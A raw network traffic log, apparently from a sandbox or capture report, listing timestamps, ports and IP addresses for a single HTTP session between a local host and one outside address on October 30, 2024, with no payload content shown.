Oct 30, 2024 06:16:33.495951891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.495959997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.495974064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.495987892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.495992899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496009111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496014118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496030092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496037960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496052027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496057034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496067047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496078968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496085882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496094942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496102095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496110916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496121883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496129990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496141911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496150017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496157885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496165037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496176004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496182919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496195078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496212959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496232033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496242046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496252060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496263027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496279001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496294975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496301889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496311903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496320963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496330976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496339083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496350050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496371984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496381998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496388912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496398926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496403933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496409893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496428967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496437073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496445894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496470928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496479988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496494055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496501923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496509075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496524096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496532917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496540070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496553898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496560097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496568918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496577024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496586084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496593952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496608973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496623039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496630907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496640921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496653080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496660948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496675968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496692896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496702909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496742964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496747971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496757030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496767998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496773958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496793985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496800900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496809959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496819973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.496828079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496855021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.496999979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497009993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497020006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497033119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497041941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497051954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497061014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497067928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497077942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497088909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497097015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497112036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497132063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497203112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497219086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497229099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497234106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497241974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497251987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497262001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497268915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497281075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497289896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497298002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497313976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497335911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497419119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497430086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497440100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497458935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497463942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497478008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497484922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497494936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497504950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497512102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497523069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497531891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497538090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497567892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497914076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497929096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497935057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497940063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497946024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497956991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497963905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497975111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.497984886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.497992039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498011112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498028994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498037100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498048067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498059034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498068094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498076916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498084068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498095036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498101950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498110056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498116970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498135090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498143911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498151064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498159885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498169899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498179913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498186111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498198032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.498204947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.498233080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.529951096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.529964924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.529980898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.529987097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.529992104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.529997110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530002117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530011892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530015945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530021906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530031919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530045986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530056953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530065060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530093908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530102968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530109882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530124903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530131102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530141115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530147076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530150890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530155897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530162096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530181885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530188084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530194044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530200005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530225992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530317068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530359983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530376911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530388117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530400038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530407906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530419111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530431032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530437946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530462027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530479908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530525923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530535936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530545950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530560017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530565023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530575991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530589104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530602932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530607939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530621052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530638933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530644894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530654907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530668020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530675888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530687094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530694962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530709982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530719995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530726910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530744076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530752897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530760050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530772924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530792952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530798912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530810118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530817032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530822992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530864954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530884981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530905962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530914068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530922890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530940056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530966043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.530975103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.530987978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531002045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531018019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531028986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531028986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531063080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531083107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531095982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531105042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531114101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531131983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531140089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531152010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531162977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531172037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531188965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531193972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531203985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531213999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531222105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531233072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.531248093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.531264067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615065098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615087986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615098953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615103960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615111113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615200996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615245104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615255117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615266085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615272045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615277052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615282059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615299940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615310907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615323067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615328074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615334034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615339041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615348101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615353107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615360022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615371943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615397930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615456104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615463018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615479946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615493059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615516901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615528107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615536928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615545034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615556002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615566015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615573883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615585089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615601063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615618944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615623951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615634918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615649939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615662098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615677118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615693092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615701914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615711927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615724087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615735054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615747929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615752935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615773916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615782976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615806103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615823984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615833998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615844011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615861893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615878105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615885973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615896940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615909100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615916014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615926981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615932941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615943909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.615959883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.615984917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616027117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616065979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616123915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616134882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616146088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616156101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616166115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616177082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616189957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616194963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616206884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616213083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616225004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616230965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616244078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616252899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616259098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616275072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616285086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616291046 CET	80	49758	185.215.113.206	192.168.2.4
